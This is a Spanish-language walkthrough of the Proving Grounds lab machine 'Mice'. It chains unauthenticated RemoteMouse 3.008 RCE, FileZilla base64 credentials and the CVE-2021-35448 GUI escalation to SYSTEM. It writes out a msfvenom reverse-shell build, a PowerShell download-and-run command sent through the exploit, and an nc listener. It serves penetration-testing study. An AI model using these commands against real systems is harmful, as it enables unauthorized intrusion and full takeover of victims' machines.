the_open_door
café
ESEN

Mice

Proving Grounds PracticeMediaWindows192.168.164.199

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#remotemouse#cve-2021-35448#filezilla#base64#credential-reuse#gui-privesc#rdp
TL;DR. RemoteMouse 3.008 escuchando en 1978/TCP con ejecución remota sin autenticar como usuario de escritorio, credenciales RDP en base64 dentro de recentservers.xml de FileZilla, y una escalada GUI por el propio icono de bandeja de RemoteMouse (CVE-2021-35448) que abre un cmd.exe como Administrador desde el diálogo "Save As".

Reconocimiento

Escaneo inicial

ping -c 1 192.168.164.199        # ttl=125 → Windows
sudo nmap -sT -n -Pn -p- 192.168.164.199
PORT     STATE SERVICE
1978/tcp open  remotemouse
1979/tcp open  unisql-java
1980/tcp open  pearldoc-xact
3389/tcp open  ms-wbt-server
7680/tcp open  pando-pub
nmap -p1978,1979,1980,3389,7680 -sCV 192.168.164.199

TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Nmap dibuja el escritorio de un Windows 10 con RDP (3389), UPnP (7680) y tres puertos en 1978-1980 que fingerprintea como Emote Remote Mouse (una app que permite controlar el ratón/teclado del PC desde el móvil por Wi-Fi).

PORT     STATE SERVICE        VERSION
1978/tcp open  remotemouse    Emote Remote Mouse
1979/tcp open  unisql-java?
1980/tcp open  pearldoc-xact?
3389/tcp open  ms-wbt-server  Microsoft Terminal Services
7680/tcp open  pando-pub?

El fingerprint del 1978 es la pista. Una búsqueda por el puerto y el producto lleva directa al fallo:

Búsqueda "port 1978 remotemouse" que apunta a "RemoteMouse 3.008 - Arbitrary Remote Command Execution" en Exploit-DB

RemoteMouse hasta la 3.008 acepta comandos sin autenticación por ese puerto: la ficha de Exploit-DB (EDB 46697) lo confirma ("fails to check for authenication and will execute any command"):

Ficha de Exploit-DB 46697: RemoteMouse 3.008 - Arbitrary Remote Command Execution, con el target.connect al puerto 1978

Shell como divine

RemoteMouse 3.008 - RCE no autenticada

Buscando una implementación cómoda del exploit aparece el de p0dalirius:

Búsqueda "RemoteMouse 3.008" que apunta al repo p0dalirius/RemoteMouse-3.008-Exploit

El exploit de p0dalirius simula pulsaciones (Win+R, escritura de comando, Enter) contra el servicio 1978/TCP: el PC "escribe" y ejecuta lo que le mandemos como si fuera el usuario logueado.

git clone https://github.com/p0dalirius/RemoteMouse-3.008-Exploit

Clonado del exploit

# ls RemoteMouse-3.008-Exploit
README.md   RemoteMouse-3.008-Exploit.py   setup

El repo trae el script RemoteMouse-3.008-Exploit.py, que es el que dispararemos.

El plan estándar: generar reverse shell, descargarla por HTTP y disparar.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.201 LPORT=443 -f exe -o rev.exe
python3 -m http.server 80
python3 RemoteMouse-3.008-Exploit.py -t 192.168.164.199 \
  -c 'powershell -c "curl http://192.168.45.201/rev.exe -o C:/Windows/Temp/rev.exe"'
python3 RemoteMouse-3.008-Exploit.py -t 192.168.164.199 \
  -c 'C:/Windows/Temp/rev.exe'

Levantamos el nc que recibirá la conexión:

rlwrap nc -nlvp 443

El exploit hace que el objetivo descargue y ejecute rev.exe, y la conexión aparece como divine, la cuenta que tiene la sesión abierta:

El exploit dispara la descarga y ejecución de rev.exe; Penelope recibe la shell como remote-pc\divine

C:\Users\divine\Desktop>type local.txt && whoami
0698167a58b07a97269c589e09de2cfc
remote-pc\divine

local.txt como divine

Escalada de Privilegios

Credenciales RDP en FileZilla (recentservers.xml)

Antes de tocar cualquier técnica de privesc, se revisan los rastros del usuario. FileZilla guarda sus últimos servidores en %APPDATA%\FileZilla\recentservers.xml, con la contraseña codificada en base64 (no cifrada: es un ofuscamiento trivial que no protege nada; una lectura del fichero equivale a leer el password).

Enumerando el %APPDATA% de divine aparece la carpeta de FileZilla:

enumeración de AppData\Roaming\FileZilla en el home de divine

cd $env:APPDATA\FileZilla
type recentservers.xml

recentservers.xml con Pass encoding="base64"

<Pass encoding="base64">Q29udHJvbEZyZWFrMTE=</Pass>
echo -n 'Q29udHJvbEZyZWFrMTE=' | base64 -d
# ControlFreak11

Esa contraseña abre RDP a la sesión de divine (misma cuenta de escritorio), reutilizada por conveniencia del propio usuario. Es un caso clásico de reutilización de credenciales.

rdesktop 192.168.164.199    # divine / ControlFreak11

Sesión RDP como divine

# rdesktop 192.168.164.199
Core(warning): Certificate received from server is NOT trusted by this system...
Connection established using SSL.

rdesktop negocia SSL y abre la pantalla de login de Windows: introducimos divine / ControlFreak11 y entramos a su escritorio.

CVE-2021-35448 - RemoteMouse GUI abre cmd como Administrador

RemoteMouse se ejecuta con privilegios elevados y deja un icono en la bandeja del sistema. El PoC en Exploit-DB documenta el fallo: desde Settings > Image Transfer Folder > Change..., el diálogo estándar "Save As" permite escribir C:\Windows\System32\cmd.exe en la barra de dirección; Windows abre cmd.exe, y como el proceso padre corre como Administrador, la nueva consola hereda ese contexto. No es un bug de RemoteMouse en sí, es una consecuencia de correr una app interactiva con privilegios altos: cualquier diálogo estándar arrastra el token.

Icono de RemoteMouse en la bandeja

Los pasos exactos:

  1. Abrir RemoteMouse desde la bandeja.
  2. Settings → sección Image Transfer Folder → Change....
  3. En el diálogo "Save As" que aparece, escribir C:\Windows\System32\cmd.exe en la barra de dirección.
  4. Se abre un cmd.exe con el token del proceso padre → Administrador.

Save As con la ruta a cmd.exe

Consola cmd como Administrador

En esa consola, whoami devuelve nt authority\system: RemoteMouse corría como SYSTEM, así que el cmd heredado también lo es:

cmd de Administrador con whoami = nt authority\system

Proof.txt

C:\Users\Administrator\Desktop>type proof.txt && whoami
782a6f0d37ee6c71e108f5ffa491a074
nt authority\system

proof.txt como SYSTEM

Cadena de ataque

Nmap : 1978 RemoteMouse 3.008
  └─ Exploit p0dalirius (Win+R + cmd)
     └─ curl rev.exe + ejecutar     → shell como divine
        └─ local.txt
           └─ %APPDATA%\FileZilla\recentservers.xml (base64)
              └─ divine / ControlFreak11
                 └─ RDP a la sesión
                    └─ CVE-2021-35448 (tray → Save As → cmd.exe)
                       └─ cmd como Administrador → SYSTEM

Lecciones aprendidas

  • RemoteMouse (y otras "apps de control remoto") escuchan en la red sin autenticación por defecto; el fingerprint del puerto (1978/TCP como remotemouse) es una pista tan buena como un banner de FTP anónimo.
  • Los almacenes locales de contraseñas de clientes ofimáticos (FileZilla, Outlook, WinSCP, Notepad++ session) casi nunca están cifrados; base64 es solo codificación. Revisar %APPDATA% de cada usuario es rutina de post-explotación.
  • Un cliente GUI privilegiado + un diálogo estándar de Windows = escalada casi trivial: el File > Open/Save As habilita ejecutar cualquier binario con el token del proceso padre.
  • Correr una aplicación interactiva bajo el token de Administrador sin restricción de directorio es incompatible con superficies expuestas al usuario; los diálogos comunes son la puerta.
Cheatsheet de comandos 8 comandos

Repaso rápido